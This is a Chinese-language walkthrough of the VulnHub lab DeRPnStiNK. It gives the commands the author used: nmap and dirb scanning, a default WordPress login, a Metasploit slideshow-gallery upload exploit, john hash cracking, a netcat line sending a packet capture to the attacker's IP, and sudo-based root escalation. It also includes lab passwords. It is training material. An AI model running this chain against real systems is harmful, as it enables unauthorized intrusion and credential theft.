VulnHub-DeRPnStiNK
靶机地址:https://www.vulnhub.com/entry/derpnstink-1,221/
目标:得到root权限&找到四个flag.txt
作者:尼德霍格007
时间:2021-7-19
信息收集
漏洞复现环境使用vmware虚拟机,kali机与靶机都使用NAT网络
kali扫描目标主机ip地址
nmap -sP 192.168.21.0/24
扫描靶机开放的1-10000的端口
nmap -A -p 1-10000 192.168.21.143
可以看到目标机开放了21,22和80端口,分别对应FTP,SSH,和HTTP服务
访问HTTP服务,一个胖子和一个瘦子
获得flag1
查看网页源码,找到flag1
源码中还提示了个信息
查看一下
<-- @stinky, make sure to update your hosts file with local dns so the new derpnstink blog can be reached before it goes live -->
翻译一下就是要更新本地DNS服务器,才能访问博客
但没说怎么更新,先放一边
爆破一下目录
dirb http://192.168.21.143/
发现一个weblog目录,访问一下
显示的是derpnstink.local/weblog
所以可能就是把derpnstink.local写入本地hosts文件,Linux的hosts文件在/etc目录下
写入后保存退出
然后还有一个robots.txt
提示俩目录,看一下
没有有用信息
访问这个博客
看到此页面和底部的显示以及刚才使用dirb暴力破解的结果中含有wp-等相关字样,根据经验可知目标是个wordpress博客,所以直接尝试访问默认的管理员wp-admin页面看看
访问
http://derpnstink.local/weblog/wp-admin
填入admin/admin
成功登录
找了一会儿发现这个用户并不是真正的管理员,权限不高,只能管理幻灯片的播放
使用wpsan扫描一下看看
wpscan --url http://derpnstink.local/weblog/
Slideshow Gallery存在漏洞,可以利用一下
getShell
使用msf查询一下有没有可利用漏洞
找到两个相关的,第二个可以利用
use exploit/unix/webapp/wp_slideshowgallery_upload
配置选项里面有需要配置账号和密码,这里刚好在上面测试出来默认账号和密码都是admin,所以这里很好利用,命令如下(我这里1处打错了,2是正确的)
这里成功获得一个shell,但不是完整的shell,我们继续
shell
执行
python -c 'import pty; pty.spawn("/bin/bash")'
获得tty
进入web所在目录下查看配置文件
发现mysql数据库用户名是root,密码是mysql
连接mysql
mysql -u root -pmysql
前面发现过一个mysql的管理界面,通过mysql账号密码登陆去看看
发现flag2
在这里发现了第二个flag
在wp-user表中发现了第二个用户unclestinky,密码是加密过的
使用linux自带的john破解一下明文
先将密码存储到文件中
$P$BW6NTkFvboVVCHU2R9qmNai1WfHSC41
使用john破解密码
john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
没有这个rockyou.txt库的,可以去github下载
输出破解过的密码
账户unclestinky密码wedgie57登陆
进来后看到了之前见过的flag2
继续找
在home下发现两个用户
试试用刚得到的密码wedgie57来SSH或者FTP登陆这两个账户,
SSH登陆
发现ssh不支持密码密码登陆,只可以通过指纹登陆
FTP登陆
使用mrderp登陆提示错误530,意思是没有这个用户,换用stinky/wedgie57
登陆成功,切换到web视图
在network-logs目录下发现一个文件,中有一段对话,提示说修改密码的时候,进行了抓包
在ftp://192.168.21.143/files/ssh/ssh/ssh/ssh/ssh/ssh/ssh/中找到了key秘钥
下载下来,使用key登陆
ssh -i key.txt stinky@192.168.21.143
提示权限不足,加权限
chmod 400 key.txt
登陆成功
获得flag3
继续找flag4
在Documents目录下发现了应该是刚刚在对话中提到的流量包
下载下来,用wireshark查看
先kali执行:nc -l -p 4444 > derp.pcap
然后目标靶机执行:nc 192.168.21.128 4444 < derpissues.pcap
192.168.21.128是我kali机的ip地址
wireshark打开
太多了,http过滤一下
找了半天终于找到了,密码derpderpderpderpderpderpderp
登录
ssh mrderp@192.168.21.143
成功登录
提权
这里提示访问https://pastebin.com/RzK9WfGw
提示 mrderp ALL=(ALL) /home/mrderp/binaries/derpy*
大概意思:
允许mrderp用户在主机上以root用户权限读写执行/home/mrderp/binaries/目录下derpy开头的文件
按照提示创建mrderp目录和derpy文件
得到flag4
运行derpy.sh后提权成功
在/root/Desktop目录下找到flag4
总结
这次的漏洞复现还是挺难得,跟着教程走还做了将近3小时,主要是这次在HTTP,SSH和FTP之间来回跳转让我感觉很有挑战性,还有路径爆破,wp-scan扫描,漏洞利用等让我学到很多之前没用过的东西,难度的提升才能让我进步的更快,加油!